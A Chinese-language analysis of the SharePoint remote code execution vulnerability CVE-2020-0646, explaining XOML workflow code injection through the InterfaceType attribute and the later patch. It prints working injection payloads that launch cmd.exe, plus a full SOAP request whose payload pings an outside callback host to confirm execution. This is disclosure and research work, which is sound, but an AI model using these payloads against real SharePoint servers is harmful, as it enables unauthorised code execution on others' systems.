CVE-2020-0646:SharePoint 远程代码执行漏洞分析

0x01  漏洞描述

2019年11月向Microsoft报告了通过workflows代码注入漏洞在SharePoint Online中可以进行远程代码执行的漏洞漏洞,该漏洞已经Online平台上得到了解决。但是,漏洞主要是2020年1月在.NET Framework中进行了修补。因此,2020年1月没有修补的SharePoint .NET程序内部版本仍然会受到影响。

当IIS支持.XOML扩展名时,在文件上传过程中也可能利用此漏洞。

尽管此漏洞的影响与以下先前确定的漏洞相同,因为它们都影响相同的模块,但是它使用了不同的技术,并且不会绕过补丁程序:

· https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/

· https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-microsoft-xoml-workflows-protection-mechanisms-using-deserialisation-of-untrusted-data/

0x02  CVE-2020-0646的分析

编译XOML格式文件时,可能会滥用System.Workflow.Activities命名空间中的某些参数在SharePoint服务器上运行任意代码。由于仍然可以执行任意代码,因此此漏洞也绕过了Workflow编译器的nocode选项。

以下XOML文件显示了使用CallExternalMethodActivity类时的示例:

< SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="  >
  < CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' / >
< /SequentialWorkflowActivity >

在编译过程中,将InterfaceType属性的值注入到生成的临时C#文件中:

 …
     private void InitializeComponent()
     {
         …
         this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);      
         …
     }
 …

结果可以从函数中转义以运行代码。应该注意的是,在影响InterfaceType属性的同时,其他字符串类型的属性(如上述示例中的MethodName)也已正确验证或转义。

同样会影响CodeActivity类的ExecuteCode参数,但未在SharePoint Online版本上对其进行授权,并且只能在本地版本上使用。

例如,以下HTTP请求可用于在SharePoint Online上执行代码:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1
Date: Tue, 29 Oct 2019 14:26:21 GMT
MIME-Version: 1.0
Accept: */*
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjects
User-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)
Host: [REDACTED].sharepoint.com
Accept-Language: en-us, en;q=0.1
Accept: auth/sicily
X-FORMS_BASED_AUTH_ACCEPTED: T
Content-Type: text/xml; charset=utf-8
X-Vermeer-Content-Type: text/xml; charset=utf-8
Accept-encoding: gzip, deflate
Connection: Keep-Alive
Pragma: no-cache
Content-Length: 1031
Cookie: [REDACTED]
< ?xml version="1.0" encoding="utf-8"? >
< soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="  >< soap:Body >< ValidateWorkflowMarkupAndCreateSupportObjects xmlns="  >< workflowMarkupText><![CDATA[
< SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="  >
  < CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' / >
< /SequentialWorkflowActivity >
]] >< /workflowMarkupText >< rulesText >< /rulesText >< configBlob >< /configBlob >< flag >2< /flag >< /ValidateWorkflowMarkupAndCreateSupportObjects >< /soap:Body >< /soap:Envelope >

结果导致DNS名称被解析:

1581300143197610

使用上述请求也可以利用本地的版本。

打上CVE-2020-0646的补丁后,会检查工作流中的所有XML元素和属性,以确保它们包含有限数量的允许字符。结果当使用选定的nocode选项时,将不再可能以默认配置将任意代码注入到生成的C#代码中。

0x03  分析总结

在编译过程中,将InterfaceType属性的值注入到生成的临时C#文件中,结果可以从函数中转义以运行代码。

CVE-2020-0646:SharePoint 远程代码执行漏洞分析:等您发表观点!

发表评论


快捷键:Ctrl+Enter